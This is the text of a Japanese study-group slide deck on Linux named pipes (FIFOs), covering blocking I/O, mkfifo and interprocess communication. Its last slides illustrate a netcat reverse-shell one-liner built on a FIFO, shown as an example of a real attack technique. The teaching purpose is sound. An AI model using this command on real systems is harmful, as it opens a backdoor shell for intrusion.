「新しいLinuxの教科書」を読む会 オンライン #10 での発表資料です。 https://linuxbook.connpass.com/event/202890/
名前付きパイプ FIFO@ozuma51191「新しいLinuxの教科書」を読む会 オンライン #10 2021/02/13
View Slide
名前付きパイプ FIFO2書き込むと止まる(ブロッキングI/O)$ echo "Hello" > fifo$ tail -f fifo(別のターミナルで) 読み込んで解放
名前付きパイプ FIFO3先に読み込んでおく$ tail -f fifo$ echo "Hello" > fifo今度は書き込むとブロックされない
名前付きパイプ FIFO4書き込むと止まる(ブロッキングI/O)$ echo "Hello" > fifo1. 入出力中は他の処理が行えない (特に遅いディスクを扱うときにつらい)2. ただし非同期処理で思わぬデータ破壊が起きにくい利点※深い話なので、ここではこれ以上突っ込まない
5名前付きパイプ FIFOmkfifo - FIFO (名前付きパイプ) を作成する$ man mkfifo$ mkfifo fifo$ ls -l fifoprw-rw-r--. 1 ozuma ozuma 0 2月 12 20:47 fifo$
6$ cat sample.txt | sort$ cat sample.txt > fifo$ sort < fifo無名パイプ名前付きパイプ
プロセス間通信に使われる7プロセス実行....ガッSIGTERM(15)プロセスAプロセスB通信したいデータシグナルによるプロセス間通信名前付きパイプによるプロセス間通信無名パイプ | と違って、2つのプロセスはバラバラに実行していて良い
高度な例(しかし実際の攻撃によく使われる)被害サーバ:ここでは /tmp/f が名前付きパイプ8$ nc < /tmp/f | /bin/sh >/tmp/f 2>&1攻撃者側サーバ:待ち受けておく$ nc -lvnp ※nc: netcatコマンド。ネットワークでデータストリームを流すcatサーバにバックドア Reverse Shell を作る
9攻撃者が攻撃対象のマシン上でコマンド実行(実際は、バレないように見えないところで実行)攻撃者のマシンにシェルがつながって自由に操作できる
もう一度確認して解説被害サーバ:ここでは /tmp/f が名前付きパイプ10$ nc < /tmp/f | /bin/sh >/tmp/f 2>&1攻撃者側サーバ:待ち受けておく$ nc -lvnp ※nc: netcatコマンド。ネットワークでデータストリームを流すcatサーバにバックドア Reverse Shell を作る